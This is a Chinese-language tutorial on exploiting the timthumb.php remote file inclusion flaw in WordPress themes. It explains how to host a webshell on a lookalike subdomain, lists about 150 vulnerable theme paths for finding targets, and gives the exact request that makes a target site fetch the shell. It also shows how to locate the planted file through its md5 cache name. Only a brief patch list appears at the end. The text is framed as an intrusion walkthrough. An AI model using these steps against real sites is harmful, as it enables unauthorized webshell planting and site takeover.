Wordpress缩略图脚本timthumb.php漏洞利用详解

timthumb.php是一个非常流行的Wordpress的缩略图脚本。国外一些非常著名的主题都用到了这个插件，比如Woothemes等。

漏洞主要是因为在timthumb中默认定义了一个包括 Flickr、Picasa等著名图片分享网站的白名单。黑客可以通过timthumb对这些白名单验证上的漏洞，使一些来自像"http://flickr.com.域名.com”这样的域名，获取上传执行PHP代码的权限。也就是说，如果你的主题有使用timthumb.php来动态生成缩略图，黑客可以通过timthumb的这个漏洞，任意上传各种恶意程序到你的timthumb.php定义的图片缓存目录！主要代码在

受影响版本：1.14 - 1.32

虽说这个插件漏洞公布出来有段时间了，但是还有许多像我这样的新手朋友还是不知道如何利用，现在就将我自己摸索心得总结出来。

一、准备工作
应具备的条件：
1、Wordpress安装了存在漏洞的timthumb.php插件，以主题为例
http://目标网站域名/wp-content/themes/canvas/timthumb.php
或
http://目标网站域名/wp-content/themes/canvas/thumb.php

2、建立一个三级域名的网站，地址为
http://flickr.com.域名.com
或
http://picasa.com.域名.com
并在这里上传一个自己的木马。

3、这一个条件开始也是我没有注意的地方，网站空间必须无法解析PHP，否则的话木马就被解析，传到目标网站里的文件就不是源文件，而是解析后的文件。

二、查找目标网站

国内可能安装此插件的比较少，在国外安装这个插件的wordpress特别多，例如
8q/scripts/timthumb.php
aerial/lib/timthumb.php
aesthete/timthumb.php
albizia/includes/timthumb.php
amphion-lite/script/timthumb.php
aqua-blue/includes/timthumb.php
aranovo/scripts/timthumb.php
arras/library/timthumb.php
arras-theme/library/timthumb.php
arthemix-bronze/scripts/timthumb.php
arthemix-green/scripts/timthumb.php
artisan/includes/timthumb.php
a-simple-business-theme/scripts/timthumb.php
a-supercms/timthumb.php
aureola/scripts/timthumb.php
aurorae/timthumb.php
autofashion/thumb.php
automotive-blog-theme/Quick Cash Auto/timthumb.php
automotive-blog-theme/timthumb.php
bikes/thumb.php
black_eve/timthumb.php
blex/scripts/timthumb.php
bloggnorge-a1/scripts/timthumb.php
blogified/timthumb.php
blue-corporate-hyve-theme/timthumb.php
bluemag/library/timthumb.php
blue-news/scripts/timthumb.php
bombax/includes/timthumb.php
breakingnewz/timthumb.php
brightsky/scripts/timthumb.php
brochure-melbourne/includes/timthumb.php
business-turnkey/assets/js/timthumb.php
calotropis/includes/timthumb.php
coffee-lite/thumb.php
comet/scripts/timthumb.php
conceditor-wp-strict/scripts/timthumb.php
constructor/layouts/thumb.php
constructor/libs/timthumb.php
constructor/timthumb.php
coverht-wp/scripts/timthumb.php
cover-wp/scripts/timthumb.php
dark-dream-media/timthumb.php
deep-blue/timthumb.php
delicate/thumb.php
diamond-ray/thumb.php
dieselclothings/thumb.php
digitalblue/thumb.php
dimenzion/timthumb.php
epione/script/timthumb.php
evr-green/scripts/timthumb.php
famous/megaframe/megapanel/inc/upload.php
famous/timthumb.php
fashion-style/thumb.php
featuring/timthumb.php
fliphoto/timthumb.php
flix/timthumb.php
fordreporter/scripts/thumb.php
freeside/thumb.php
fresh-blu/scripts/timthumb.php
go-green/modules/timthumb.php
granite-lite/scripts/timthumb.php
greydove/timthumb.php
greyzed/functions/efrog/lib/timthumb.php
gunungkidul/thumb.php
heartspotting-beta/thumb.php
heli-1-wordpress-theme/images/timthumb.php
ideatheme/timthumb.php
impressio/timthumb/timthumb.php
introvert/thumb.php
inuit-types/thumb.php
isotherm-news/thumb.php
iwana-v10/timthumb.php
jambo/thumb.php
jcblackone/thumb.php
kratalistic/thumb.php
life-style-free/thumb.php
likehacker/timthumb.php
litepress/scripts/timthumb.php
loganpress-premium-theme-1/thumb.php
magazine-basic/thumb.php
magup/timthumb.php
make-money-online-theme-1/scripts/timthumb.php
make-money-online-theme-2/scripts/timthumb.php
make-money-online-theme-3/scripts/timthumb.php
make-money-online-theme-4/scripts/timthumb.php
make-money-online-theme/scripts/timthumb.php
meintest/layouts/thumb.php
mobilephonecomparision/thumb.php
moi-magazine/timthumb.php
my-heli/images/timthumb.php
mymag/timthumb.php
mystique/extensions/auto-thumb/timthumb.php
nash/theme-assets/php/timthumb.php
neofresh/timthumb.php
neo_wdl/includes/extensions/thumb.php
new-green-natural-living-ngnl/scripts/timthumb.php
newspress/thumb.php
pearlie/scripts/timthumb.php
pico/scripts/timthumb.php
postage-sydney/includes/timthumb.php
premium-violet/thumb.php
probluezine/timthumb.php
pronto/cjl/pronto/uploadify/check.php
pronto/cjl/pronto/uploadify/uploadify.php
r755/thumb.php
regal/timthumb.php
shaan/timthumb.php
shadow-block/thumb.php
shadow/timthumb.php
simple-but-great/timthumb.php
simplenews_premium/scripts/timthumb.php
simple-red-theme/timthumb.php
simple-tabloid/thumb.php
simplewhite/timthumb.php
slidette/timThumb/timthumb.php
snowblind_colbert/thumb.php
snowblind/thumb.php
spotlight/timthumb.php
squeezepage/timthumb.php
standout/thumb.php
suffusion/timthumb.php
swift/includes/thumb.php
swift/includes/timthumb.php
swift/timthumb.php
techozoic-fluid/options/thumb.php
the_dark_os/tools/timthumb.php
themetiger-fashion/thumb.php
theory/thumb.php
the-theme/core/libs/thumbnails/thumb.php
thrillingtheme/thumb.php
tm-theme/js/timthumb.php
totallyred/scripts/timthumb.php
travelogue-theme/scripts/timthumb.php
true-blue-theme/timthumb.php
ttnews-theme/timthumb.php
twittplus/scripts/timthumb.php
typographywp/timthumb.php
ugly/timthumb.php
unity/timthumb.php
versitility/timthumb.php
vibefolio-teaser-10/scripts/timthumb.php
vina/thumb.php
whitemag/script/thumb.php
wpapi/thumb.php
wpbus-d4/includes/timthumb.php
wp-creativix/scripts/timthumb.php
wp-newsmagazine/scripts/timthumb.php
wp-perfect/js/timthumb.php
wp-premium-orange/timthumb.php
xiando-one/thumb.php
zcool-like/timthumb.php
zcool-like/uploadify.php

三、开始入侵
在浏览器地址输入
http://目标网站路径/timthumb.php?src=http://http://flickr.com.域名.com/木马名.php

那么我就可以在
http://目标网站路径/cache/external_md5值.php
或
http://目标网站路径/temp/external_md5值.php

如果timthumb.php版本低于2.0的话，那么木马地址为
http://目标网站路径/cache/md5值.php

这里需要说明的是，md5值是http://http://flickr.com.域名.com/木马名.php的md5值

四、总结
虽说，通过此漏洞入侵的条件比较苛刻，但由于国外使用wordpress的用户非常多，而且大量的主题使用了此插件，因此，还是有许多网站存在安全隐患的。

修补方法：
1、用最新版本的timthumb.php覆盖原文件；
2、删除白名单；
3、服务器目录权限设置。